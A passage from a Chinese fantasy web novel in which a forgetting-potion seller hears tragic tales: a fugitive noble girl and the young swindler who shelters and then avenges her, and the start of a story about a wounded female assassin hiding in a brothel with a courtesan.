季宁搬了个小凳子坐在院子里,感受夜风的凉爽。
四周那么静,静得她好像能听见星星闪烁的声音,还有今天早,爹爹嘱咐她踢毽子不要摔倒的声音,娘亲夸她毽子踢得好,还有奶娘……
奶娘让她好好活着,不要寻仇……
都是今天早上的事,不到一天,她的人生天翻地覆。
心脏一阵闷痛,一股酸涩漫上鼻尖。她连忙抿紧嘴,控制差点溢出来的呜咽。
她没法忘记这一切好好活着,也没法不去寻仇,她必须去做些什么。
但是,她能做些什么呢?她自身都有些难保,她还在被追捕中,没有武力、没有势力,没有谁能帮她一把……
嘎吱——
身后木屋的前门被推开,季宁连忙呼了口气,笑了笑以缓解僵硬的脸部。
陈野的家只有一处院子,和一小一更小的两间屋子。
更小那间屋子被用来当柴房和厨房,稍大那间便是卧房了,房内只有一张床。
陈野走过来,声音仿佛被夜风吹过,又冷了起来,“床铺好了,去睡觉。”
“哦。”季宁转身进屋,没注意到陈野耳尖那隐于黑暗的红色,但陈野却是注意到她眼眶的泛红。
他没说什么,跟着进屋。
季宁的脑子还有些混沌,抬脚径直走向她躺过的那张床。
就在她离床还有些距离时,陈野喊道:“那是我的床,你睡那边。”
季宁脚步一顿,顺着对方指的方向看去,见屋内另一角不知何时搭了两块板子,上面铺好了青色被子。
季宁沉默地走了过去,在她脱衣上床前,屋内唯一的那根蜡烛被吹灭,皎洁的月光透过窗扉与木板间的缝隙铺进来,划开了黑暗。
季宁听见对角那边传来脱衣上床的声音,声音很短暂,也很轻。
她躺在床上,屋内的暗色被一道道月光刺破,能让她勉强看见对角的床,以及床上隆起的被子。
她摸着更柔软的被子,将全身蜷缩起来,对着那点轮廓道:“陈野,谢谢你。”
很久,那边传来回话:“我不是什么好人,要想在我这住下,你就得干活。”
“嗯,我干活可厉害了……”季宁的声音逐渐弱下去,呼吸渐渐平缓。
陈野发出一声轻嗤,正要反驳对方的话,却听见对方微弱的呼吸声,一下子沉默了。
望着月光中沉浮的尘埃,他陷入无法理清的思绪。
季宁彻底在这住了下来,家务活干得越来越熟练,与陈野的关系也略近了些,比如,两人时不时就要斗下嘴。
“谁让你动我衣服的?不是,我衣服的袖子怎么和衣摆连在一起?”
“你衣服破了,我帮你补一下,有点小失误。”季宁不好意思地解释道。
陈野望着从对方手里夺回来的衣服,沉默了两秒,正想破口大骂,季宁瞧见对方神色,先生了气。
她一把夺回衣服,大声道:“我都还没补好,你急什么!”
陈野再次抢回衣服,“你会补个屁!别动我衣服!”
“我女红可好了!”季宁急的去夺衣服,她女红是奶娘教的,很厉害的。
就在两人争夺间,衣服终于不堪受辱,发出“嘶啦”一声,本就破开还没补好的口子瞬间被撕大。
两人呆滞地盯着手中的衣服,又同时抬头看向对方。
几秒后,陈野一把扔开衣服,转身往屋外走,气愤道:“我不想看见你,你赶紧给我把衣服补好!”
季宁听见院门被摔上的声音,朝对方离开的方向喊道:“你能不能不要一生气就离家出走!”
没有回话,陈野已经走远。
季宁皱着眉,她自己还生着气,对方走就走,哼!
她一屁股坐下来,捡起针线继续补衣服。
等她将衣服补好,天色已黑。她将衣服挂在横木架上,估摸着对方应该要回来了。
果然,下一秒,陈野推门进来。
季宁高兴地要向对方展示自己的修补成果,却见对方沉着脸,从怀里掏出一张纸。
季宁凑近一看,脸色顿时一白。
这是她的……通缉令!
“最近几天你不要出门,”陈野平静道,“等过几日我们出城。”
“你不怕被我连累吗?”季宁看着他。
陈野皱了皱眉,“我早就被你连累了。”
“对不起……我一直没有告诉你我的身份……”季宁羞愧又害怕地低下头。
陈野看着对方垂下去后的脑袋,心里却并不生气,他早就猜到对方身份,但他依旧让对方留了下来。
他天不怕地不怕,官兵什么的也不会害怕。
住在贫民巷深处的人都这样,烂命一条,什么事都是无所谓的,毕竟明天是饿死还是冻死,抑或是犯事被斩头都没有区别。
都是死。
“陈野,我想报仇,我看得出你会武功,虽然不是很厉害,但我想跟你学,你能不能教我?”季宁看向对方,目光坚定。
陈野被对方那句“虽然不是很厉害”刺中,一下子不知道是该骂还是该大骂。
这是求人的态度?
他没时间与对方就这些事折腾,便道:“城外有个武林高手,等出了城我出面让他收你为徒。”
他补充道:“不出三年,你便能成为杀人不眨眼的存在。”
季宁果真被他不打草稿的谎话骗中,满脸高兴地点头:“好!”
陈野叹了口气,道:“你太傻了,除了我的话谁的也不要信,记住没?”
“我才不傻。”季宁努嘴,看着对方一脸严肃的样子,又慢吞吞道:“知道了。”
之后几天依旧正常,唯有陈野不在屋内的时间多了些。
季宁想问对方做什么都没机会,对方离开的很早,回来的很晚。
她最近常常失眠,半夜时总会听见屋门被推开的轻响,知道是陈野回来了。
直到,几天后的晚上。
季宁依旧在失眠,躺在床上看着透进屋内的月光失神。
突然,一道闷响砸在屋外。
她吓得一激灵,下意识缩进被子里,但紧接着,她好像听见一声闷
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哼,听起来像陈野发出的。
一阵犹豫后,她还是决定起身去看看,这一看,更是吓了一跳。
发出响动的正是陈野,他穿着一身黑,靠着墙半躺着,月光照在他脸上,衬得他面色更白了,只是嘴角的一抹鲜血红得惊心。
“陈野!”季宁低低地喊了一声,忙跑过去扶住他。
陈野下意识甩手将她打开,后一秒反应过来,动作僵直,不知道说什么好。
但济宁并没有在意这些,她一把扶住对方手臂,道:“我扶你进去。”
将对方扶上床后,她又借着月色将蜡烛点亮。
暖橙色光线霎时间散开,将陈野浑身的伤照得无处隐藏。
“怎么受了这么重的伤?”季宁颤着手不敢动,看着对方发白的脸色,压抑着哭声。
但对方没有回答她的话,陈野紧闭着眼,眉头皱起,已经陷入昏迷。
季宁去取来药瓶,帮对方把衣服脱了上药,又去烧热水为对方擦洗。
一边哭一边有序地做。
陈野陷入半昏状态,迷迷糊糊间感受到一股热腾腾的东西擦在身上,接着是一阵冰凉,很快火辣辣的疼痛被压下。
他刚舒展眉头,便被断断续续的哭声吵得再次皱起眉头,皱的更紧了。
这哭声太耳熟了,他每天都会听到两三次,不久前他更是一整天都能听到。
他不耐烦地睁开眼,一张脸顿时凑了上来,哭得眼眶通红的眼睛弯了起来,不知是哭还是笑。
“你终于醒了!”
他看见对方嘴唇微动,眼里的泪光泛着光。
“嗯。”陈野不自在地微别过头,看见装满红色血水的木盆,以及搭在木盆边沿的粉红色帕子上。
“陈野,你以后别去骗人了好不好?”季宁带着哭腔问。
她与对方相处这么些时间,虽然对方没说,但她也能看出对方在做什么行当,毕竟他们的第一次见面,就是如此。
陈野扭过头看她,“不然把你换出去换钱?”
季宁一噎,急忙道:“我女红可好了,我可以给你赚钱。”
忙活这么久,外面天色微微泛白,陈野并不把对方的话放在心上,他现在很累。
要带对方出城不是那么容易的事,最起码要有很多银子。
而他再干几票,银子就存够了。
季宁看着闭上眼很快睡着的陈野,又难过又生气,她在生气自己,生气自己没用。
她拿的出手的就是女红了,于是她找来两张素帕,开始在上面绣图案。
日上竿头,陈野悠悠转醒。
地上的血盆已经没有了,被扔在地上沾满血的外套也不见了踪影。
他腹部隐隐作痛,却比之昨晚要好受不少,木桌上还放着一瓶白瓷瓶——
这是许久前他在半眼瞎那里买的,半眼瞎看似不正经,但卖的药效果立竿见影,可以称上一句神药。
这时,屋门被推开,季宁端着碗进来,笑道:“吃饭了。”
季宁将碗放在桌上,从怀里掏出三张手帕,笑得有些得意又有些不好意思。
“看,这是我绣的,绣的好吧?你把它卖了去换钱吧。”季宁亮着眼睛看着对方。
陈野半靠着墙,抬手接过手帕,见手帕一角绣了只兔子,呆萌可爱。
他摩挲这只兔子,只觉针脚细密,意外对方手艺竟然不错。
季宁继续道:“我好久没做了,等我练熟了就做荷包,能换更多钱。”
陈野将手帕塞进怀中,“也就只能卖个几文钱。”
“几文钱也是钱,”季宁不满道,“我多绣几张就好了。”
27. 娇小姐与小骗子(6)
近来关于追捕季家小姐的通缉令没了踪影,不知是抓到了还是不抓了。
季宁倒觉得是个好消息,但陈野依旧很忙,休息了不过一天便说伤好了,急匆匆出了门。
“什么药功效这么厉害嘛!”季宁抱怨着,她亲眼看过对方的伤,就应该在床上躺一个月好好养着。
“也不知道对方有没有听进去我的话,说好不去骗人的。”
季宁摇摇头,心道不能一味让别人主动改变,如果自己赚的钱比对方多,那她就有理由不让对方出去了!
计划好,她提着竹篮出了门,去贫民巷另一边找六婶买些针线。
“嘿!要买藕粉色、月白色、云青色……”季宁晃着篮子,在泥泞小路上一蹦一跳的,嘴里念着需要买线的颜色。
突然,她动作顿住,望着面前的人,眼中闪过惊愕,旋即满是恐惧。
对面站着个女孩,穿着一身粉色长裙,发间的金钗散着光泽,将身处的这条阴暗小巷照得光亮起来。
她的存在与四周一切格格不入。
季宁后退一步,惊恐地看着对方,看着对方身后的两个仆从。
“宁儿,我就知道你还活着!”对方露出一抹又像哭又像笑的表情。
“玥儿,你……你怎么会在这里?”季宁颤着声音问。
“我来找你啊。”林玥上前一步,一脚踩进泥坑里,溅起的泥水沾上她华丽的衣摆。
但她毫不在意,脸色依旧带着似哭似笑的表情,一步步向季宁靠近。
她似乎想表现出见到对方的喜悦,混杂着对对方的担忧,但不知为何脸部有些抽搐,变成这似哭似笑的可怖模样。
“我和我爹不一样,我相信季家是无辜的,跟我走,我帮你伸冤。”她轻声说着,眼睛紧紧盯着对方。
季宁后退一步,她被对方的神色吓了一跳,从对方身上,她看不见曾经玩伴的一点影子。
她也记得陈野说的,除了他的话谁的也不要信。
“不,你是怎么找到我的?”季宁继续后退。
林玥皱起眉头,脸上的笑容霎时间消失,仿佛根本就没存在过。
“宁儿,你以为藏在这贫民巷就没人知道了吗?官府的人马上就要来抓你了,快和我走。”她压低声音道。
季宁依旧不能相信对方,哪怕曾经她们是很好的朋友,此刻对方的神色只让她害怕。
跑,快跑!
她在心里对自己说,于是转身不顾一切地跑。
望着对方的背影,林玥朝身后两人抬手,后者领意,身形瞬间化为一道残影,顷刻间出现在季宁身前。
“不要,不要!”季宁连连后退,双臂一下子被对方钳住,接着她整个身体被抬起带离地面。
她挣扎着,却纹丝不动,只能大声哭喊道,“陈野!”
嗒啦——
手中的竹篮掉进泥坑里,溅起的泥水又重回地面。
一阵微风拂过,现场已经没了人影。
“给,你要的出城令。”半眼瞎将木制令牌扔进对方怀里,又问:“你什么打算?”
“明天有班戏子要出城,我带着她混进去。”陈野将令牌塞进怀里。
半眼瞎看着对方动作,眼睛突然一眯,一个伸手拉出对方怀里的东西。
“嚯!”看着手里的素白绢子,半眼瞎露出可疑的微笑,“这是什么?难不成是传说中的定情信物?”
陈野望望胸口,又看向对方手里的手帕,一把伸手抢过。
“别用你的脏手碰它!”
他急忙将手帕塞回衣服里,转身离开。
“季宁!”陈野笑着推开院门,没看见在院子里边晒太阳边绣兔子的人,又进屋,喊道:“季宁!”
屋内依旧没人,他脸上笑意瞬间消失,连忙去到厨房,仍然没人。
他心脏突然一抽,望着空荡荡的院子,不好的预感漫上心头。
对方没怎么出过门,对周边并不熟悉,最多在自己陪同下去过巷子另一端的六婶家买针线。
也许对方买了针线很快就会回来,他没必要这么草木皆兵,但是……
他捂着狂跳不止的心脏,最终推门出去,在巷子里飞奔。
突然,他脚步一顿,一个东西闯进视野,那是一只沾满泥水的竹篮,篮子里放着一个小荷包。
“陈野,看,我绣了个荷包,是非卖品哦,用来放钱的。”
陈野身子一晃,他走过去,将竹篮捡起。
望着四周,他闭了闭眼,感受、寻找着细微的不同。
空气中有异样的气味,几乎散尽的香味,还有张扬的血腥味,像多年厮杀之人无意中散发出的。
他猛地睁眼,连忙跑出小巷。
从贫民巷出去后是闹市,越往外走越繁华,但陈野的心却越发提了起来,心里的不祥预感越发强烈。
周围太安静了,安静得不正常,没有一个人出现,好像有什么东西将人们吸引过去。
是什么东西?
心脏咚咚地撞击胸口,好像下一秒就会撞出来。
终于,一片人的背影出现在视野内,寂静世界再次被嘈杂占据。
“这下季家真是满门被灭了,林家可真狠啊!”
“季家小姐还是被林家三小姐抓回去的。”
“这不是先斩后奏吗?”有人不满。
“什么先斩后奏,官府早就发了通缉令,上面说了,遇见就地斩立决!”说话的人比了个手刀划下的动作。
陈野挤进人群,看着永远闭上眼睛的人,原先剧烈跳动的心脏一下子沉静,好像被冰冻住,让他全身打了个寒颤。
天色仿佛被浓墨泼洒,今夜的风莫名的让人心寒。
“哼哼哼……”
半眼瞎哼着不成调的小调,将写有“半仙”二字的白条收下,卷成卷。
他转过身,正要将桌上的瓶瓶盒盒收好,“嘿咻”一声,被突然出现在眼前的人吓得一屁股跌回椅子里。
“哎呦!”半眼瞎半躺在椅子里,捂着心脏直抽气,“你小子,干啥要装鬼吓人?”
“半眼瞎,把半仙药卖给我。”陈野抬头看着他,半张脸隐没在阴影中。
半眼瞎被对方仿佛死了全家的脸色骇到,“半、半仙药!你拿半仙药干嘛?”
他注意到对方状态有些不对劲,不,太不对劲了,据他所知,对方全家早就死了,还有什么事能让对方露出这种表情?
等等!
他意识到什么,问:“你屋里那姑娘……”
“呵!”陈野笑道:“你不是半仙吗?自己算去吧,赶紧把药给我。”
半眼瞎严肃起来,“这半仙药效果只有两个时辰,也不过让你力气大些,速度快些,感受不到痛苦……”
“给我!”陈野打断道。
“药很贵。”对方皱眉。
“我有钱。”陈野逼视对方。
他有很多钱,非常多的钱,足够带屋里那姑娘出城,去另一个地方度过半生的钱……但现在用不上了。
“记得我以前说过
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,能用钱买的都不算贵,这药,要用你半条命来买。”半眼瞎看着他道。
陈野愣了一下,好像回忆起对方确实说过这种话,但无所谓,他不在意用什么来买。
他没有任何犹豫道:“给我吧。”
“然后,我将林家灭门,就像他们对季家做的那样。”
看着面前两人一魂,陈野嘴角浮出一抹笑容,好像那晚于他而言是段美好的回忆。
“至于那位林家三小姐,就像我一开始给你们说的那样,被我折磨至死。”
陈野说着,又露出那抹微笑,那抹自以为不在意,却任何人都能看出悲伤的微笑。
江余客与小魂同时呼出口气,很沉重的一口气,心里跟着被什么东西堵住。
小魂看了眼孟梨食,却见对方一副要打哈欠的模样,突然想,幸亏这活是对方来干,随便换个人不出多久就得郁闷而死。
“故事说完了,”陈野盯着对方,“别忘了你说的,让她下辈子过得好一点。”
“呃么么么,自然。”孟梨食抬手,指尖飘出一根细细红线,红线随着她划动的动作在空中轻摆,好像在空中作画。
一会,一个歪七扭八的鬼画符浮现在空中。
孟梨食满意地点头,再一抬手,飘在空中的一团红线瞬间化为灰烬,消散在众人眼前。
“我已经给地府的同事捎去话了,会给她多加些善德的,也会在她要喝的孟婆汤里加些糖。”
对方点头,不再说话。
孟梨食眯着眼看着对方,问:“那你要水吗?”
陈野:“不要。”
“……”孟梨食继续道,“能忘掉愁苦的水。”
“你觉得我像愁苦的样子吗?”陈野看了她一眼,撑着从木箱上跳下,转身离开。
看着他远去的背影,孟梨食叹了口气:“又是一个头铁心硬的家伙。”
“罢了!”孟梨食高叹一声,“浪费我时间,走了!”
“故事说完了咱仨的事还没完!”小魂气愤地飘在后面,“你们俩偷偷离开不叫我,以后不能这样了!”
它在故事说了一半时找过来的,本来打算着要大闹一通,但看那位少年说的投入,便没有打扰,现在故事说完了,该算账了。
孟梨食突然停下脚步,刚转过身,便被什么东西糊了满脸。
她将粘在脸上的东西撕下来,在空中甩了甩。
小魂被甩得头晕目眩,眼前直冒星星,求饶地喊:“别甩了,别甩了,我要吐了……”
孟梨食停下动作,保持着将对方拎起来的姿势道:“你看,你又不看路,所以才会走丢。”
“是这样吗?”小魂大脑一片混沌。
“不然呢?”孟梨食挑眉,“而且,是你负责监督我,我可没义务等你,下次机灵点知道没?”
小魂迟疑地点头。
“嗯哼!”孟梨食表示满意,手臂一扬,将拎着的魂不轻不重扔出去,熟练地砸进江余客怀里。
“走吧,吃早饭去。”她转身走在前面。
俞国都城极度繁华,热闹非凡,尤其在俞国那位将军带领众将士打败晟国后,俞国百姓更是每日如过节般快乐。
孟梨食很快被这的欢快气氛感染,暂且将卖忘情水途中遇到的种种壁垒抛之脑后,尽情玩去了。
两人一魂定了同一家酒楼,偶尔碰面。
江余客要去惩恶扬善,劫富济贫,平日也会参加些比武大赛赚银子,还挺忙。
不过也有三者一同逛街的时候。
28. 妓女与刺客(1)
日上三竿,孟梨食懒洋洋起了个床,下楼吃早点时碰上已经行侠仗义回来的江余客。
“今日去哪玩?”江余客抬头看对方。
孟梨食扶着木质围栏慢慢下楼,意外道:“你今天有空?”
还没等江余客回答,一阵淡蓝色的风从脸庞滑过。
小魂一个急刹停在孟梨食面前,“孟梨食,早午饭准备好了!”
孟梨食皱眉,“早午饭什么鬼?”
“这都快中午了……”小魂轻轻皱眉,外面的阳光早就跨过酒楼门槛,可不早了。
它扭头,看见站在大堂中央的江余客,招呼道:“一起吃啊。”
江余客走向他们固定的位置,又问:“今天什么安排?”
孟梨食捧着一大碗米粥咕噜咕噜灌了一口,“哈”的一声搁下碗,道:“去春香楼。”
“春香楼?”
小魂与江余客同时扭头看向她。
小魂满脸惊愕,一副“你要死了”的表情,江余客则一脸茫然。
孟梨食看着两人截然不同的表情,顿时更乐了,将碗里剩下的米粥顿顿喝完,叼着个包子,左手拉起江余客,右手薅起小魂,风一般出了门。
小魂跟陶瓷师傅手中的一团泥团似的,被孟梨食拉变了形,在风中凌乱。
“孟梨食,那是春楼!是妓院!你竟然要去那种地方!”它大吼。
“春楼……妓院……”江余客任孟梨食拉着,大脑迟钝地反应。
“等等!”他终于意识到那是什么地方,剧烈挣扎,“我不能去那种地方!”
他陡然挣扎,正一门心思往前冲的孟梨食被往后猛地一拉,后背撞进对方胸口。
这一撞撞得她眼冒金星,半天没回过神。
“我也不能去那种地方。”小魂看向江余客,两人从彼此的眼神中看到一种名为“盟友”的东西。
两人互一点头,转身就往回跑。
刚跑出去没几秒,身后骤然升起一股寒气,冻得两人身形一顿,仿佛被冰冻住般。
“你们,想去哪?”孟梨食缓缓抬头。
小魂与江余客心中一咯噔,僵硬地扭过脖子,还没等他们看见孟梨食脸色,腰部陡然一紧,一条极粗的红线蛇般将他们缠住。
孟梨食晃了晃脑袋,将围着她转个不停的星星甩飞出去。
她微抬手,小魂与江余客腰部的红线猛地收紧。
仿佛被一股无形的巨力拉住般,被束缚住的两人只能跟在孟梨食身后,跌跌撞撞往前走。
孟梨食心心念念的春香楼距此不过一条街两条巷的距离,没多久便到了……
但也许,还没到。
她看着面前的一堆废墟陷入沉思,怀疑是不是自己走错了。
而小魂和江余客在看见眼前景象时大大松了口气,只要不是春香楼就好。
“不应该啊……”孟梨食低头思忖,她来都城第二天便在酒楼里听其他酒客聊起过,还顶着对面一群人怀疑的目光打听了位置,不该走错啊!
在她思考时,缠住小魂和江余客的红线渐渐松开,两人眼睛一亮,嬉皮笑脸地凑上去。
“没找到也不打紧,周围还有很多好玩的呀!”小魂捂着嘴道,并向江余客使了个眼色。
后者忙点头,“是啊是啊,据我所知不远处就有一家酒肆,他们家招牌的千日醉特别醇烈,咱们去尝尝吧!”
孟梨食被两人吵得头晕,抬手不轻不重赏了他们一拳,指着面前废墟问:
“你们不觉得这很不对劲吗?”
“不就房子被烧没了嘛。”小魂捂着脑袋,随意地瞥了一眼,下意识去看它的“盟友”,准备接受对方的附和。
然而,江余客却皱起了眉,“确实不对劲,这处火烧废墟太大,不知道原先是做什么的。”
烧焦味弥漫在这处空间内,倒下的木柱或半张桌椅,一半显出可怖的焦黑色,一半又保存着原先艳丽的红色。
烧至蜷曲的粉纱覆盖在这片废墟上,努力在深色中突出一抹亮色。
他们面前烧得最彻底,目之所及只有焦黑,建筑那一边还能看出些轮廓,但也无法猜出它曾经的用处。
想不明白。孟梨食视线左右一扫,一把捞过挑着菜从旁经过的大爷,问:
“大爷,这里发生了啥?咋烧成了这个样子?”
大爷顺着她指的方向看去,努力睁大昏花的眼睛,“哦,这原来是座春楼,前半夜起了大火,也不知咋烧的,烧成这个样子。”
“春楼?”三人惊讶,孟梨食忙追问:“是叫春香楼吗?”
“是吧,谁在意这个?”大爷颠了颠肩上扁担,嘀咕着走了,“都是群妓女,死了未尝不是件好事……”
江余客缓缓收回落在大爷背上的视线,耳畔响着对方最后一句话,露出不解。
他扭过头,见孟梨食吸着鼻子左嗅右嗅,问:“怎么了?”
“有味道。”孟梨食认真道。
还没等她解释,小魂飘过来道:“烧焦味,只要有鼻子就能闻到。
“我刚才飘了一圈,这里烧死的人不少,好几处尸骨还没人来收拾。”
“不是烧焦味。”孟梨食盯着面前空气,视线仿佛穿过一面无形的墙,“是因果味,酸酸的,像酿到一半的酒。”
她说完,微闭着眼,抬手一抓,一根红线浮现手中。
红线一端融于废墟,一端前伸,没入最近的一处小巷内。
“因果线连!”孟梨食睁开眼,眼里闪过欣喜,“生意来了,这边走!”
她说着,率先顺着因果线冲进巷道内。
进去没几步,便见有人坐在墙边的板车上。
对方一身深色,耷拉着头,手随意地搭在膝盖上,佩剑扔在一旁。
即使对方不露一丝目光,不发一言,也带给人无法忽视的存在感。
血腥气被浓重的绝望气息覆盖,仿佛一尊孤立千年的石像。
没错了,这就是她的客人。
孟梨食抬手收回因果线,兴奋地朝对方跑去。
在她踏入那条无形的界线后,一直僵住的人突然有了动作,寒光一闪,静躺在地上的剑突然横在面前。
还未等孟梨食反应,另一把金光闪闪的剑抵在前面,与对方无声对峙。
“有事?”对方没抬头,声音冷得仿佛整个人刚从冰湖里爬出来。
“卖忘情水,一碗解忧又忘愁,限时半价。”
“卖水人?”对方抬起头,露出一张惨白的脸,真的像刚从湖里爬出来般。
“认识我?看来我在江湖上还是有名的。”孟梨食点点头,“所以,要买水吗?喝了就不用这么心痛了哦。”
对方沉默着,缓缓将剑收回,重新将
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头耷拉下去,“不了。”
孟梨食面露不解,她抬手示意江余客将剑收回去,蹲在对方面前,道:
“就算你想买也不是说买就能买的,不如你先告诉我你的故事吧,说出来要好受一些。”
对方依旧沉默,孟梨食皱了皱眉,当然,这种情况她遇见的多了,也有了些应对方法,于是道:
“你为什么还待在这里,是还有什么未完成的心愿吗?那个你不愿忘记的人肯定不愿看见你现在的样子,他肯定希望你好好活下去。”
孟梨食一脸担忧地看着对方,眼里隐隐带着期待。
很快,对方将头落得更低,声音发颤:“我找不到她的尸体,我答应了带她离开的。”
“找尸体?”孟梨□□神一振,“我可以帮你,你把你的故事告诉我,在我这买一碗忘情水,我帮你找如何?”
对方抬起头,茫然地看着孟梨食,“可是,如果我喝了忘情水,怎么还记得答应她的事?”
孟梨食一噎,但一个卖出水的机会不能就这么放走,想了想道:
“你可以先在我这买着,完成答应他的事再喝也不迟。”
终于,不知哪句话打动了对方,面前的人终于点头,轻轻道:“我叫阿由,自由的由,她叫夏来……我们,就在春香楼相遇……”
夜色深沉,一道人影在漫天星辰下闪过,只留下极轻极轻的风动。
一条小巷的距离,一边是万籁俱寂,另一边却是歌舞一片。
阿由仿佛穿过一层薄膜,随后,浪潮般的笑语歌声将她淹没,但比这些声音更大的,是胸腔里剧烈跳动的心跳声,还有她逐渐急促的喘息声。
她的身体就要到极限了,眼前阵阵发白,撑着最后的力气摸进这处建筑的后院。
后院一片昏暗,人声寂静,不比前面的灯笼高挂与盈盈笑语。
她潜进后院一座建筑的墙角,看准一个应该是存放杂物的房间。
她弓着身来到窗户下,正要破窗而入,刚抬起头,窗户忽然被人推开,砰的砸在她脸上,直接将她掀倒。
“什么声音?”夏来动作一顿,她好像砸到了什么人。
她探出个脑袋,四下一张望,看见躺在地上的人,只能看见个模糊轮廓,挺劲瘦的一个人,吓了一跳,连忙跑出来。
她以为是后厨帮忙的姑娘,或者是妈妈新买来的女孩,便提着灯笼出来查看,哪知等她靠近,看见的却是一张并不能称为稚嫩的脸,但也是个女孩。
对方流着鼻血,在惨白的脸上格外显眼,很显然这是被她开窗户的动作砸到。
夏来心里一阵愧疚,但当她提着灯笼照到对方满身的伤时,愣住了。
对方穿着一身黑衣,各处都有伤,尤其是腹部,有一道口子,还往外翻着皮肉。
夏来再明白不过了,对方是刺客!
她猛地打了个寒颤,感觉夜间的风更凉了。
她站起身,正要跑开,一只手忽的将她拉住,接着一个用力将她拉向地面,一道黑影翻身将她压住。
阿由本来想钳住对方,不料身体突然失力,整个人控制不住地倒向对方,才酿成这幅局面。
夏来整个人躺在了地面上,她眨巴着眼睛,竟发现今夜的星空格外璀璨,而自己好久没离开这座建筑了。
最终,她将这位刺客带了进去,带回自己房间,
29. 妓女与刺客(2)
等来到光亮处,夏来才惊觉对方伤得有多重,简直像在血池里摸爬滚打过。
她将对方衣服褪下藏好,再将其放在床上,转身端了个盆出去打热水。
刚装了盆热水准备上楼,一个浓妆艳抹的女人走过来,一把捏住她耳朵,尖着嗓子道:“你个小蹄子,跑哪去了?”
夏来痛得差点将手中的木盆打翻,连忙后退躲避着,喊道:“妈妈,疼!”
“还知道疼啊,乱晃荡什么,还不赶紧去接客,还想饿肚子是不是?”妈妈揪对方耳朵的力度不减反增,咬牙切齿道。
“妈妈,我错了,我这就去!”夏来忙应道,耳朵已经痛得麻木了,她生理泪水挂在眼角要掉不掉。
她也不想饿肚子,今晚就是饿得实在厉害才去后院找吃的,没想到遇见一个刺客。
妈妈狠狠松开手,“赶紧去,让冷秋找你找半天找不到。”
夏来一怔,“冷秋?她去哪找我了?”
“你卧房。问这么多干嘛?还不赶紧去接客!”
眼见对方又要发火,夏来忙应着跑开,“我这就去接客!”
她连忙跑回房间,大喘着气撞开门,却在门开的那一刻愣在原地。
屋内的人抬眉看她,手中的剑不断往下淌着血,聚成一股在地板上汇成一小滩。
而在她脚边,一个穿着清凉的女子趴在地上,勃颈处溢出大片红色。
阿由斜眼看她,正要有所动作,在对方尖叫前割断其脖颈,却见对方反手将门关上,“咔嗒”一声落了锁。
她露出不解,她确定对方在害怕,对方的每一个动作都带着颤抖,脸色更是惨白异常。
但对方既没有逃也没有叫,反而主动关上门,将自己与一个杀人犯关在一间屋内。
夏来呼了口气,胸部剧烈起伏。她走上前,顶着对方带着杀气的眼神道:
“得,得把尸体处理了,不然会被发现的,我,我来清理血迹。”
她颤着手将木盆放下。
阿由确定对方没有任何武力,力气霎时泄下,身形摇晃,一把撑住桌沿。
夏来正将帕子浸水,察觉动静抬头,见对方抬手在胸口处“砰砰”几按,几秒后舒了口气。
对方察觉到视线,扭头看过来,与她的相撞。
夏来吓得忙低下头将帕子拧干,擦洗面前的血迹,目不斜视,神情专注。
“我要将尸体处理,你……”
“我就在屋内处理血迹,不会说出去的!”夏来急忙抬头,眼神里既有害怕,又有坚定。
阿由犹豫两秒,最终将尸体扛起,从窗沿上跳下去。
她记得往后走不远处就是后厨,那里有片池塘,水流连通外面的深河,最适合抛尸。
见对方离开,夏来松了口气,握紧已经泛红的帕子嘿咻嘿咻擦洗得更加卖力。
好一会,地上原先刺眼的红色只剩下淡淡粉色,再擦也擦不掉了,没法恢复到最开始的样子。
她在这滩痕迹上撒上香粉,又将地毯拖来盖住。
大功告成,一扭头,便见一道黑影闪进屋内,将夜间窗外的寒气一齐带了进来,还有淡淡的血腥味。
夏来愣了一下,抬手,将香粉撒出去。
阿由被这香粉扑了满身,香气浓烈得她想打喷嚏,幸而她努力憋住了,要是打出来估计会血崩。
“你……”夏来看向对方的眼神不可避免地带上惊怖,但身体上没有任何动作。
她在打量对方,而对方也在打量自己。两人无声互看。
终于,眼见对方脸色白得越发厉害,夏来打破安静:“我给你拿药,你先躺回床上。”
阿由的外衣早已被对方剥开,不知扔去了哪里。她里衣也是黑色,虽然没有污泥,但也浸润了血水,脏。
夏来将药瓶拿过来,还带来一套干净衣裳,轻轻放在对方身前,“我不会说出去的。”
她语气有种孩童般的郑重,好像这只是个小秘密。
“你伤得很重,可以留在这里养伤。”她看着对方,眼里似乎藏着很多话,但在对上对方眼神时又迅速撇开。
“谢谢。”阿由开口。
这让夏来吓了一跳,甚至有些惊喜,慌乱道:“我去给你打水,你擦洗下身子。”
她把热水打来,在一旁局促地站着,看着对方包扎伤口。见对方涂后背伤口有些困难,几次伸出手又缩回,犹豫道:
“要不,我帮你涂后面吧。”
“不用。”对方冷声拒绝,没有哪位刺客会将自己背后的伤口暴露给陌生人。
“哦。”夏来悻悻低下头,盯着床前的地毯出神。
地毯下是一片浸透地板的粉色,而表面,是两株娇嫩欲滴的荷花。
这图案是她自己选的,当时她给妈妈说,因为她叫夏来,夏天应该配荷花,但其实,还有一个原因……
“被我杀的那个人……”
床上的人突然开口,打断夏来飘出的思绪,后者视线陡然一抖,迅速从地毯上娇嫩的荷花移到对方脸上。
夏来盯着对方,盯了许久,见对方不再继续说,反应几秒,恍然道:“你是说冷秋吗?”
说到冷秋,夏来终于反应过来,“对了,冷秋不见了妈妈会发现的!”
“完了完了!”夏来急的原地踱步,“这样下去妈妈很快就会发现你的存在,要不你还是离开吧。”
阿由意外地看向对方,没想到对方第一反应竟是担心自己。
以她现在的状态,晃荡在外面不是个明智的决定,况且,如果她走了,对方也难免不被发现。
“我去给你准备些药和吃的,你趁着天色晚赶紧离开。”夏来急匆匆说着。
看着对方忙活着收拾东西,阿由心里微微一颤,没有多想道:“我会易容,我可以易容成冷秋的样子继续待在这里。”
夏来动作一顿,僵硬地转过身,她没料到对方会这么说。
“可是……”她嘴唇微动,声音低了些,“这里不是什么好地方。”
“我养好伤就走。”阿由道。
夏来握着药瓶的手紧了紧,声音又低了几度,“真好,想走就走……”
她想到什么,突然上前一步,又猛地停住脚,看着对方,“我帮你隐藏在这,不让你被发现,你能不能……能不能离开时带上我?”
“你想离开这?”
夏来泄了口气,自嘲道:“谁想待在这呢?”
阿由沉默两秒,道:“行。”
反正只要将对方带离这里就行,之后对方要去哪就不是她要管的。
“真的吗?”夏来一阵恍惚,一下子竟有些喜极而泣,眼泪盈满眼眶。
阿由不懂,为什么对方反应这么大,是为
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了自由吗?那她自己算拥有自由吗?也许算吧。
干刺客这行,易容算必修技能,在夏来的帮助下,阿由成功“换了张脸”,完全是冷秋的模样。
